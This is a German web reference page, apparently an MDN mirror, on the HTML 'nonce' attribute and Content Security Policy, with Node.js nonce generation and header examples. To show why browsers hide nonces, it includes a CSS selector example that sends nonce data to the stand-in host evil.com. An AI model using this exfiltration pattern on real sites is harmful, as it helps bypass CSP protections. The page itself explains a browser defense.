Baseline Widely available
Das nonce
globale Attribut ist ein Inhaltsattribut, das ein kryptografisches Nonce ("Zahl nur einmal verwendet") definiert. Es kann von Content Security Policy (CSP) verwendet werden, um zu bestimmen, ob ein bestimmter Abruf für ein gegebenes Element fortgesetzt werden darf.
Das nonce
-Attribut ist nützlich, um spezifische Elemente, wie ein bestimmtes eingebettetes Script oder Stilelemente, auf eine Positivliste zu setzen. Es kann Ihnen helfen, die Verwendung der CSP unsafe-inline
Direktive zu vermeiden, die alle eingebetteten Scripts oder Stile auf eine Positivliste setzen würde.
Hinweis: Verwenden Sie nonce
nur in Fällen, in denen Sie keine andere Möglichkeit haben, unsichere eingebettete Script- oder Stil-Inhalte zu vermeiden. Wenn Sie nonce
nicht benötigen, verwenden Sie es nicht. Wenn Ihr Script statisch ist, können Sie stattdessen auch einen CSP-Hash verwenden. (Siehe Nutzungshinweise zu unsicheren eingebetteten Scripts.) Versuchen Sie immer, den vollen Vorteil der CSP Schutzmechanismen zu nutzen und vermeiden Sie Nonces oder unsichere eingebettete Scripts wann immer möglich.
<script>
Element auf eine Positivliste zu setzen
Es gibt einige Schritte, um ein eingebettetes Script mithilfe des Nonce-Mechanismus auf eine Positivliste zu setzen:
Werte generierenGenerieren Sie von Ihrem Webserver aus einen zufälligen Base64-codierten String mit mindestens 128 Bit Daten aus einem kryptografisch sicheren Zufallszahlengenerator. Nonces sollten jedes Mal unterschiedlich generiert werden, wenn die Seite geladen wird (Nonce nur einmal verwenden!). Zum Beispiel in nodejs:
import crypto from "node:crypto";
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
Inline-Script auf die Positivliste setzen
Das im Backend-Code generierte Nonce sollte nun für das eingebettete Script, das Sie auf die Positivliste setzen möchten, verwendet werden:
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
// â¦
</script>
SchlieÃlich müssen Sie den Nonce-Wert in einem Content-Security-Policy
Header senden (fügen Sie nonce-
voran):
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
Zugriff auf Nonces und Nonce-Verbergung
Aus Sicherheitsgründen wird das nonce
Inhaltsattribut verborgen (ein leerer String wird zurückgegeben).
script.getAttribute("nonce"); // returns empty string
Die nonce
Eigenschaft ist der einzige Weg, um auf Nonces zuzugreifen:
script.nonce; // returns nonce value
Die Nonce-Verbergung hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu exfiltrieren, die Daten aus Inhaltsattributen wie diesem erfassen können:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Spezifikationen Browser-Kompatibilität Siehe auch
RetroSearch is an open source project built by @garambo | Open a GitHub Issue
Search and Browse the WWW like it's 1997 | Search results from DuckDuckGo
HTML:
3.2
| Encoding:
UTF-8
| Version:
0.7.4